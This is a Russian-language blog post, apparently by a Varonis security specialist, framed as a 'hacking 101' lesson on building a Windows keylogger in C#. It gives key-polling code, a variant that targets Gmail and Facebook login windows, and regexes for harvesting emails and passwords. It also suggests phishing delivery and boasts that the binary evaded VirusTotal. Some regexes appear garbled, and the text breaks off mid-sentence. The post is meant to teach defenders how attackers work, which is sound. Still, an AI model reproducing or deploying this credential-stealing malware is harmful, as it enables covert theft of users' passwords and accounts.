    Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


    Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


    Кейлогер


    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
    Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


    Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


    1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

    Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


    Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


    1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


    Умный кейлогер

    Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


    Вторая версия кода:


    1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


    Еще более умный кейлогер


    Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


    1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


    Для C# это выглядит так:


    1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


    Бесплатно и полностью не обнаружим


    В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
    Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


    Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


    Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



    В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой

  • информационная безопасность
  • Добавить метки